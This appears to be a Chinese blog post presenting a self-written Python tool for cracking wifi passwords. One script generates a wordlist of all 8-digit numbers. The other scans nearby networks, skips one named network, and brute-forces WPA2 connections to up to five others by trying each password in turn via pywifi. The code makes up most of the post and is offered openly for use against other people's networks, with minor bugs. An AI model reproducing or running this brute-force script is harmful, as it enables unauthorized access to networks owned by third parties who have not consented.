使用python3 破解wifi密码 自写程序

运行环境:win10 + python3.7

 

生成密码的代码如下:

----------------------------------------------------------------------------------------------------------------------------

 

import itertools as its

if __name__ == '__main__':
    words_num = "1234567890"
    words_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    r = its.product(words_num,repeat=8)
    dic = open("password-8位数字.txt","w")
    for i in r:
        dic.write("".join(i))
        dic.write("".join("\n"))
    dic.close()
    print("完全写入成功")

----------------------------------------------------------------------------------------------------------------------------

运行破解密码代码如下:

 

-------------------------------------------------------------------------------------------------------------------------------

 

import pywifi
import time
import constant
import comtypes

def getwifi(wifilist,wificount):
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取网卡
    ifaces.scan()
    time.sleep(8)
    bessis = ifaces.scan_results()
    allwifilist = []
    namelist = []
    ssidlist = []
    for data in bessis:
        if data.ssid not in namelist: #去掉重命名的wifi名称
            namelist.append(data.ssid)
            allwifilist.append((data.ssid,data.signal))
            sorted(allwifilist,key=lambda st:st[1],reverse=True)
            time.sleep(1)
            n = 0
            if len(allwifilist) is not 0:
                for item in allwifilist:
                    if(item[0] not in ssidlist) & (item[0] not in wifilist):
                        n+=1
                        if n <= wificount:
                            ssidlist.append(item[0])
                            print(allwifilist)

    return ssidlist

def getifaces():
    wifi = pywifi.PyWiFi() # 抓取网卡接口
    ifaces = wifi.interfaces()[0] # 获取网卡
    ifaces.disconnect() # 断开无线网卡连接
    return ifaces

def testwifi(ifaces,ssidname,password):
    profile = pywifi.Profile() # 创建wifi连接文件
    profile.ssid = ssidname # 定义wifissid
    profile.auth = constant.const.AUTH_ALG_OPEN #网卡开放
    profile.akm.append(constant.const.AKM_TYPE_WPA2PSK) #wifi加密算法
    profile.cipher = constant.const.CIPHER_TYPE_CCMP #加密单元
    profile.key =  password #wifi密码
    ifaces.remove_all_network_profiles()#删除其他所有配置文件
    tmp_profile = ifaces.add_network_profile(profile)#加载配置文件
    ifaces.connect(tmp_profile) #连接wifi
    time.sleep(5) # 5秒能否连接上
    if ifaces.status() == constant.const.IFACE_CONNECTED:
        return True
    else:
        return False

def beginwork(wifinamelist):
    ifaces = getifaces()
    path = r'password-8位数字.txt' # wifi密码文件
    files = open(path,'r')
    while True:
        try:
            password = files.readline()
            password = password.strip(' \n')
            if not password:
                break
            for wifiname in wifinamelist:
                print("正在尝试"+wifiname+','+password)
                if testwifi(ifaces,wifiname,password):
                    wifinamelist.remove(wifiname)
                    break
                if not wifinamelist:
                    break
        except:
            continue
        files.close()

if __name__ == '__main__':
    wifiname_e = ['HNIU'] #排除不破解的wifi的名字
    wifinames = getwifi(wifiname_e,5)
    print(wifinames)
    beginwork(wifinames)

-------------------------------------------------------------------------------------------------------------------------------

 

如何代码有问题或者需要优化的地方,欢迎二提出来了,谢谢!

联系QQ:2433702912

 

  • 31
    点赞
  • 171
    收藏
    觉得还不错? 一键收藏
  • 14
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 14
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值